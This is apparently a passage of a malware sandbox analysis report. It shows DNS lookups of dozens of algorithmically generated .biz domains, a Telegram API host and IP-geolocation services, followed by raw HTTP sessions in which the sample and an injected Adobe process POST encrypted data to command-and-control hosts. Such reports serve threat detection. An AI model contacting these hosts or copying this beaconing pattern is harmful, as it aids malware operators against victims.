Oct 31, 2024 16:03:47.462785006 CET	8.8.8.8	192.168.2.22	0xc057	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:47.462785006 CET	8.8.8.8	192.168.2.22	0xc057	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:50.672868013 CET	8.8.8.8	192.168.2.22	0x9612	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:56.731177092 CET	8.8.8.8	192.168.2.22	0x7c4c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:58.590610981 CET	8.8.8.8	192.168.2.22	0x2263	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:59.462209940 CET	8.8.8.8	192.168.2.22	0x8fd6	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:01.009706020 CET	8.8.8.8	192.168.2.22	0xb8f7	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:01.973385096 CET	8.8.8.8	192.168.2.22	0x4c83	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:02.687546968 CET	8.8.8.8	192.168.2.22	0x5bf	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:02.687546968 CET	8.8.8.8	192.168.2.22	0x5bf	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:05.373272896 CET	8.8.8.8	192.168.2.22	0xdc27	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:05.490128040 CET	8.8.8.8	192.168.2.22	0x75d	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:06.996061087 CET	8.8.8.8	192.168.2.22	0x3c4f	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:07.014338970 CET	8.8.8.8	192.168.2.22	0x81e8	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:07.038316011 CET	8.8.8.8	192.168.2.22	0x7264	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:09.480231047 CET	8.8.8.8	192.168.2.22	0xe8aa	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:10.964127064 CET	8.8.8.8	192.168.2.22	0x57b4	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:13.437541008 CET	8.8.8.8	192.168.2.22	0x2f99	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:16.254775047 CET	8.8.8.8	192.168.2.22	0x8cd6	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:19.548280954 CET	8.8.8.8	192.168.2.22	0xa5d9	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:19.548280954 CET	8.8.8.8	192.168.2.22	0xa5d9	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:21.513447046 CET	8.8.8.8	192.168.2.22	0x1d07	No error (0)	tbjrpv.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:22.861208916 CET	8.8.8.8	192.168.2.22	0xbff4	No error (0)	deoci.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:24.319210052 CET	8.8.8.8	192.168.2.22	0xcca	No error (0)	gytujflc.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:25.526242971 CET	8.8.8.8	192.168.2.22	0x2c85	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:27.004558086 CET	8.8.8.8	192.168.2.22	0x2c85	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:27.549418926 CET	8.8.8.8	192.168.2.22	0x5903	No error (0)	qaynky.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:29.633208990 CET	8.8.8.8	192.168.2.22	0xdd21	No error (0)	bumxkqgxu.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:30.336721897 CET	8.8.8.8	192.168.2.22	0xa4e9	No error (0)	dwrqljrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:32.318842888 CET	8.8.8.8	192.168.2.22	0xe1c1	No error (0)	nqwjmb.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:33.298180103 CET	8.8.8.8	192.168.2.22	0x4b01	No error (0)	ytctnunms.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:34.172955990 CET	8.8.8.8	192.168.2.22	0x4242	No error (0)	myups.biz		165.160.15.20	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:34.172955990 CET	8.8.8.8	192.168.2.22	0x4242	No error (0)	myups.biz		165.160.13.20	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:35.407756090 CET	8.8.8.8	192.168.2.22	0xf323	No error (0)	oshhkdluh.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:36.266210079 CET	8.8.8.8	192.168.2.22	0x8a8d	No error (0)	yunalwv.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:36.609850883 CET	8.8.8.8	192.168.2.22	0xcc1b	No error (0)	jpskm.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:37.487571955 CET	8.8.8.8	192.168.2.22	0xdc6a	No error (0)	lrxdmhrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:38.635418892 CET	8.8.8.8	192.168.2.22	0x65c3	No error (0)	wllvnzb.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:40.155791998 CET	8.8.8.8	192.168.2.22	0x1139	No error (0)	gnqgo.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:40.946551085 CET	8.8.8.8	192.168.2.22	0xbbb0	No error (0)	jhvzpcfg.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:41.831420898 CET	8.8.8.8	192.168.2.22	0xf2aa	No error (0)	acwjcqqv.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:43.468379974 CET	8.8.8.8	192.168.2.22	0x39b6	No error (0)	vyome.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:44.377151012 CET	8.8.8.8	192.168.2.22	0x2f8c	No error (0)	yauexmxk.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:44.736917973 CET	8.8.8.8	192.168.2.22	0x1a70	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:45.171097994 CET	8.8.8.8	192.168.2.22	0xebb8	No error (0)	iuzpxe.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:46.216866970 CET	8.8.8.8	192.168.2.22	0xbc34	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:46.692934990 CET	8.8.8.8	192.168.2.22	0xead2	No error (0)	sxmiywsfv.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:48.060812950 CET	8.8.8.8	192.168.2.22	0x2177	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:48.155304909 CET	8.8.8.8	192.168.2.22	0x782a	No error (0)	vrrazpdh.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:49.072391987 CET	8.8.8.8	192.168.2.22	0xb374	No error (0)	ftxlah.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:49.072860003 CET	8.8.8.8	192.168.2.22	0x46ea	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:50.608848095 CET	8.8.8.8	192.168.2.22	0xde43	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:50.608848095 CET	8.8.8.8	192.168.2.22	0xde43	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:50.618778944 CET	8.8.8.8	192.168.2.22	0x8014	No error (0)	typgfhb.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.065622091 CET	8.8.8.8	192.168.2.22	0x3d8a	No error (0)	esuzf.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.191230059 CET	8.8.8.8	192.168.2.22	0x7d3a	No error (0)	tbjrpv.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:52.949244022 CET	8.8.8.8	192.168.2.22	0x22fc	No error (0)	gvijgjwkh.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:53.177967072 CET	8.8.8.8	192.168.2.22	0x775	No error (0)	deoci.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:53.940154076 CET	8.8.8.8	192.168.2.22	0xf87d	No error (0)	qpnczch.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:54.046734095 CET	8.8.8.8	192.168.2.22	0x15fd	No error (0)	gytujflc.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:54.884905100 CET	8.8.8.8	192.168.2.22	0xce73	No error (0)	brsua.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:55.126688957 CET	8.8.8.8	192.168.2.22	0x3cf1	No error (0)	qaynky.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:55.885726929 CET	8.8.8.8	192.168.2.22	0xba95	No error (0)	dlynankz.biz		85.214.228.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:56.669169903 CET	8.8.8.8	192.168.2.22	0x4df9	No error (0)	bumxkqgxu.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:56.782593966 CET	8.8.8.8	192.168.2.22	0xae6a	No error (0)	oflybfv.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:57.627810001 CET	8.8.8.8	192.168.2.22	0x5bcc	No error (0)	dwrqljrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:58.237530947 CET	8.8.8.8	192.168.2.22	0x95a1	No error (0)	yhqqc.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:58.683192015 CET	8.8.8.8	192.168.2.22	0x20d8	No error (0)	nqwjmb.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:59.244503021 CET	8.8.8.8	192.168.2.22	0xb647	No error (0)	mnjmhp.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:04:59.641309023 CET	8.8.8.8	192.168.2.22	0x1636	No error (0)	ytctnunms.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:00.864269972 CET	8.8.8.8	192.168.2.22	0x4728	No error (0)	opowhhece.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:00.879781008 CET	8.8.8.8	192.168.2.22	0x9b01	No error (0)	myups.biz		165.160.13.20	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:00.879781008 CET	8.8.8.8	192.168.2.22	0x9b01	No error (0)	myups.biz		165.160.15.20	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:01.567504883 CET	8.8.8.8	192.168.2.22	0x96b7	No error (0)	jdhhbs.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:01.757878065 CET	8.8.8.8	192.168.2.22	0x1b9b	No error (0)	oshhkdluh.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:02.600369930 CET	8.8.8.8	192.168.2.22	0x67c5	No error (0)	yunalwv.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:03.540597916 CET	8.8.8.8	192.168.2.22	0x22d6	No error (0)	jpskm.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:03.540613890 CET	8.8.8.8	192.168.2.22	0x3d86	No error (0)	mgmsclkyu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:04.371766090 CET	8.8.8.8	192.168.2.22	0xad3b	No error (0)	lrxdmhrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:04.527426958 CET	8.8.8.8	192.168.2.22	0x74fc	No error (0)	warkcdu.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:05.383440018 CET	8.8.8.8	192.168.2.22	0x7892	No error (0)	wllvnzb.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:05.960783958 CET	8.8.8.8	192.168.2.22	0xc9b9	No error (0)	gcedd.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:06.831202030 CET	8.8.8.8	192.168.2.22	0x8312	No error (0)	gnqgo.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:07.422652960 CET	8.8.8.8	192.168.2.22	0xc700	No error (0)	jwkoeoqns.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:07.555157900 CET	8.8.8.8	192.168.2.22	0x88ec	No error (0)	jhvzpcfg.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:08.131320953 CET	8.8.8.8	192.168.2.22	0x3b4e	No error (0)	xccjj.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:08.274243116 CET	8.8.8.8	192.168.2.22	0x261c	No error (0)	acwjcqqv.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.034212112 CET	8.8.8.8	192.168.2.22	0xf52b	No error (0)	vyome.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.035765886 CET	8.8.8.8	192.168.2.22	0x264f	No error (0)	hehckyov.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.722001076 CET	8.8.8.8	192.168.2.22	0x51bc	No error (0)	rynmcq.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:10.877172947 CET	8.8.8.8	192.168.2.22	0xf0b6	No error (0)	yauexmxk.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:11.560149908 CET	8.8.8.8	192.168.2.22	0x1d10	No error (0)	iuzpxe.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:11.598795891 CET	8.8.8.8	192.168.2.22	0x8c51	No error (0)	uaafd.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:12.611215115 CET	8.8.8.8	192.168.2.22	0xe4cd	No error (0)	eufxebus.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:13.927217960 CET	8.8.8.8	192.168.2.22	0x45e	No error (0)	sxmiywsfv.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:15.126313925 CET	8.8.8.8	192.168.2.22	0xf688	No error (0)	pwlqfu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:15.493164062 CET	8.8.8.8	192.168.2.22	0x4d32	No error (0)	vrrazpdh.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:16.163644075 CET	8.8.8.8	192.168.2.22	0x3067	No error (0)	rrqafepng.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:16.372984886 CET	8.8.8.8	192.168.2.22	0xce9c	No error (0)	ftxlah.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:17.618463039 CET	8.8.8.8	192.168.2.22	0x2605	No error (0)	ctdtgwag.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:17.812937021 CET	8.8.8.8	192.168.2.22	0xde2d	No error (0)	typgfhb.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:18.357981920 CET	8.8.8.8	192.168.2.22	0x8c60	No error (0)	tnevuluw.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:20.056787014 CET	8.8.8.8	192.168.2.22	0xc004	No error (0)	esuzf.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:20.057708025 CET	8.8.8.8	192.168.2.22	0x61a4	No error (0)	whjovd.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:21.956118107 CET	8.8.8.8	192.168.2.22	0x2778	No error (0)	gvijgjwkh.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:21.974090099 CET	8.8.8.8	192.168.2.22	0x979c	No error (0)	gjogvvpsf.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:22.514636040 CET	8.8.8.8	192.168.2.22	0x4360	No error (0)	reczwga.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:22.695590019 CET	8.8.8.8	192.168.2.22	0xc374	No error (0)	qpnczch.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:23.197642088 CET	8.8.8.8	192.168.2.22	0x8795	No error (0)	bghjpy.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:23.699870110 CET	8.8.8.8	192.168.2.22	0xa455	No error (0)	brsua.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:24.269620895 CET	8.8.8.8	192.168.2.22	0x6a18	No error (0)	damcprvgv.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:24.986181974 CET	8.8.8.8	192.168.2.22	0xfa50	No error (0)	dlynankz.biz		85.214.228.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:25.042854071 CET	8.8.8.8	192.168.2.22	0x6672	No error (0)	ocsvqjg.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:25.877743006 CET	8.8.8.8	192.168.2.22	0x4b3e	No error (0)	oflybfv.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:26.961347103 CET	8.8.8.8	192.168.2.22	0xd45a	No error (0)	ywffr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:27.324378967 CET	8.8.8.8	192.168.2.22	0x9705	No error (0)	yhqqc.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:27.870975018 CET	8.8.8.8	192.168.2.22	0x2b1b	No error (0)	ecxbwt.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:28.170080900 CET	8.8.8.8	192.168.2.22	0x79cf	No error (0)	mnjmhp.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:29.602807045 CET	8.8.8.8	192.168.2.22	0x4ebd	No error (0)	opowhhece.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:30.293975115 CET	8.8.8.8	192.168.2.22	0xb713	No error (0)	jdhhbs.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:30.509957075 CET	8.8.8.8	192.168.2.22	0xc8	No error (0)	pectx.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:31.363802910 CET	8.8.8.8	192.168.2.22	0x4d51	No error (0)	zyiexezl.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:31.735238075 CET	8.8.8.8	192.168.2.22	0xdb4d	No error (0)	mgmsclkyu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:05:32.051146030 CET	8.8.8.8	192.168.2.22	0xd721	No error (0)	banwyw.biz		44.221.84.105	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

knjghuig.biz

lpuegx.biz

checkip.dyndns.org

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

fwiwk.biz

tbjrpv.biz

deoci.biz

gytujflc.biz

qaynky.biz

bumxkqgxu.biz

dwrqljrr.biz

nqwjmb.biz

ytctnunms.biz

myups.biz

oshhkdluh.biz

yunalwv.biz

jpskm.biz

lrxdmhrr.biz

wllvnzb.biz

gnqgo.biz

jhvzpcfg.biz

acwjcqqv.biz

vyome.biz

yauexmxk.biz

iuzpxe.biz

sxmiywsfv.biz

vrrazpdh.biz

ftxlah.biz

typgfhb.biz

esuzf.biz

gvijgjwkh.biz

qpnczch.biz

brsua.biz

dlynankz.biz

oflybfv.biz

yhqqc.biz

mnjmhp.biz

opowhhece.biz

jdhhbs.biz

mgmsclkyu.biz

warkcdu.biz

gcedd.biz

jwkoeoqns.biz

xccjj.biz

hehckyov.biz

rynmcq.biz

uaafd.biz

eufxebus.biz

pwlqfu.biz

rrqafepng.biz

ctdtgwag.biz

tnevuluw.biz

whjovd.biz

gjogvvpsf.biz

reczwga.biz

bghjpy.biz

damcprvgv.biz

ocsvqjg.biz

ywffr.biz

ecxbwt.biz

pectx.biz

zyiexezl.biz

banwyw.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:23.734270096 CET	357	OUT	POST /qklkrjfdxiba HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:23.734304905 CET	850	OUT	Data Raw: a3 89 26 4d 11 91 5a 0d 46 03 00 00 0c 3d a6 98 3c fe 62 f6 01 44 89 29 7b 43 a0 37 0e cd 55 17 62 23 4f ef d8 a1 50 ef 71 b7 52 f7 a4 45 92 5e 1e 31 7d b8 ba 95 a0 48 07 74 02 90 b3 2b 05 73 af c5 bf 6b 65 3b 4c af 6f 2b 54 29 c6 ce f9 e6 3a ce Data Ascii: &MZF=<bD){C7Ub#OPqRE^1}Ht+ske;Lo+T):yLqQK :$8~zE6,ux7FV~0m!@[^Omk:cc\S,@zZ~-_ VA/X774ma-W34\|fyff
Oct 31, 2024 16:03:24.519337893 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3ad7746d39e712715478d4c633efe65f\|173.254.250.77\|1730387004\|1730387004\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:24.623352051 CET	358	OUT	POST /pqxorusymlbofeu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:24.623393059 CET	850	OUT	Data Raw: 2e d5 ca e0 b2 2c 5b ad 46 03 00 00 5f 0d 36 a8 eb 1a b2 42 28 5d 2b f3 d3 5b a8 d9 02 59 9f a3 4b db 4e 4c 70 80 14 96 8f 28 80 cf 65 bf 3e 70 34 38 a7 fb 09 66 32 9b e9 8e 0e 5d fc 4f ce ad be 15 a8 b1 8e 53 5f a3 c4 af d2 f8 4e 17 89 6c c2 22 Data Ascii: .,[F_6B(]+[YKNLp(e>p48f2]OS_Nl"1N[XXRdFgXvX8iW\j71*Z1eV#P=17ABu2y(cD++5"+Si}>[/5t7rK0J9Na@Ia
Oct 31, 2024 16:03:26.035219908 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=eea001ef7b274204c8620ae83804196e\|173.254.250.77\|1730387005\|1730387005\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49163	54.244.188.177	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:26.054867029 CET	347	OUT	POST /ot HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:26.054889917 CET	800	OUT	Data Raw: 48 ea 55 12 0f ea 93 e2 14 03 00 00 cf 42 31 d0 17 22 74 71 ff ad 14 e7 01 f2 ea b4 b7 93 85 e2 f0 1f 5b f1 d8 84 2e fd 28 86 18 6f 70 39 c0 de ca 80 04 69 ce 16 47 b7 bd 17 cb c0 49 93 53 3e 51 5a 80 cc 4b c5 e4 46 cf d8 7a cb e6 7c f3 07 e9 ce Data Ascii: HUB1"tq[.(op9iGIS>QZKFz\|tHHe JnGYKGnRbv`'"@6WCtOD[;:j([?.`H!0$;6\|qG@urj3Jx4s(<
Oct 31, 2024 16:03:26.875088930 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cd57b7d674e87987f3f953f937abf4a4\|173.254.250.77\|1730387006\|1730387006\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49164	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:26.108613014 CET	353	OUT	POST /bhswbqgtxfim HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
